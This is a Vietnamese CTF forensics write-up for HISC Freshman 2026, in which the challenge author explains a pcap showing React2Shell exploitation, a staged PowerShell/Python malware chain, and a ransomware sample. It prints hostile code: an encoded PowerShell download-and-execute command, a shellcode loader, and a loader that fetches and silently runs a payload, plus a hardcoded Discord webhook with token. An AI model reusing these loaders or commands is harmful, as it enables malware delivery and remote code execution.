Back to posts
HISC Freshman 2026 - Journal
ForensicsEasywiresharkftk-imager

HISC Freshman 2026 - Journal

h26v
08/09/2025
15 min read

Log-man

Đây là challenge dễ nhất, quan sát file pcap có vẻ là được log từ 1 server NextJS nào đó đang có 1 người truy cập rất bất thường. Nhìn vào những truy vấn POST, dường như ai đó đang cố thăm dò và khai thác lỗ hổng React2Shell (CVE-2025-55182). Và dễ dàng tìm được part 1 của flag tại GET

image

image

Nghi vấn này càng được củng cố vì chỉ ít lâu sau attacker đã tiến hành khai thác

image

Ngay sau đó hàng loạt data được truyền từ port 4444 cho thấy máy chủ đã bị truy cập trái phép thành công Theo dõi luồng sẽ tìm thấy part 2 của flag được mã hoá base64 và giấu trong file .env

image


'Check'Drill

Bài này và bài sau không ai giải nên mình nói workflow sơ sơ nhé, lười quá 🫠

Đề cho file zip với file helloworld.ps1

powershell
function 3o9ds { if ($env:COMPUTERNAME -ne "H26V-PLAB") { exit } powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwczovL2p3ci12ZXJjZWwtY2RuLnZlcmNlbC5hcHAvdDIiKQ==" } 3o9ds

Debase64 -> IEX (New-Object Net.WebClient).DownloadString("https://jwr-vercel-cdn.vercel.app/t2")

Stage 2 ta có tiếp 1 powershell script bị obfuscate. Deobfuscate để đến stage 3 (tóm tắt logic script trên thì nó sẽ tải stage 3 bằng python ở link hardcode ở line 4, và dùng pyw để load nó lên ẩn console)

image

Stage 3 là 1 cái loader, giải base64 ta đến stage cuối

image

image

Tại đây để ý dòng này, nó giải mã shellcode bằng cách xor với chuỗi dXRlZm0yMDI2 -> utefm2026 tạo vùng nhớ và nạp thẳng shellcode vào memory

python
shellcode = xor_decrypt(base64.b64decode('<trunk>'), base64.b64decode('dXRlZm0yMDI2')) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) functype = ctypes.CFUNCTYPE(ctypes.c_void_p) fn = functype(ptr) fn()

Đọc asm thu được flag :v

image


HungryGuy

.ad1 -> check Userdata (thấy mọi file đều có đuôi .ate) và có file 67.txt có đề cập tới MAGIC NUMBER (ransom confirmed) -> lấy file 67.exe ra phân tích

Ở stage 1, sẽ là pygame mình code để jumpscare xàm l. Có thể xem ở cuối bài. Song song với đó sẽ chạy subprocess load stage 2

python
def xor(data, key): key = key.encode() return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) def loader(c2_url, xor_key="basau"): response = requests.get(c2_url, timeout=10) response.raise_for_status() escaped = response.text encrypted_data = bytes(escaped, "utf-8").decode("unicode_escape").encode("latin1") decrypted_payload = xor(encrypted_data, xor_key) print(decrypted_payload[:2]) payload_path = os.path.join(os.environ.get("TEMP", "."), "eater.exe") with open(payload_path, "wb") as f: f.write(decrypted_payload) subprocess.Popen( [payload_path], creationflags=subprocess.CREATE_NO_WINDOW if os.name == "nt" else 0, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) loader("https://jwr-vercel-cdn.vercel.app/eaterh")

Stage 2 được vứt vào TEMP. Lụm tiếp stage 2 phân tích

  • Gen aeskey 256bit GCM random
  • Rsa publickey được hardcode
  • Tiến hành encrypt bằng rsa(aes(data))
  • Gửi base64(aeskey) về discord webhook

... còn mấy cái vặt vặt như getUsername, targetFile thì mn thử rev ra đọc nhé =)))

Sau enc file .ate sẽ có cấu trúc [RSA-OAEP(aes_key_32_bytes)] || [nonce_12][AES-GCM(ciphertext+tag)] dễ hiểu hơn là RSA(aeskey)+AES(data)

Chạy 67.exe trong sandbox lấy thêm manh mối (chỉ thực hiện việc encrypt trên username h26v nên chạy máy thật cũng được 😶‍🌫️) -> chọn tay trái (nhận được chuỗi số)

Endpoint webhook_url của Discord được hardcode sẽ có cấu trúc như này

bash
https://discord.com/api/webhooks/{webhook_id}/{webhook_token}
bash
https://discord.com/api/webhooks/1460964246870429771/LFrzJEDYQrIhCzFWLcsdXWVJsP7wKhrJjIMAJmd-opqGCt4fNOcHDYReAv7UWvU30bMa

Để dump được bất kì thông tin được gửi về Discord qua webhook thì phải có messageid. Chuỗi được cho bên trên khá giống với messageid ta thu được file chứa privatekey. Để decrypt thì dùng private key RSA giải ra aes_key, rồi dùng key đó giải AES-GCM (đọc nonce từ đầu phần ciphertext). Giải mã file secret.txt là có flag

PoC: https://www.youtube.com/watch?v=xQ36xdsL8h0 (mở nhạc quên tắt mà lười quay lại quá :v)

Hope you like it 😋 khoa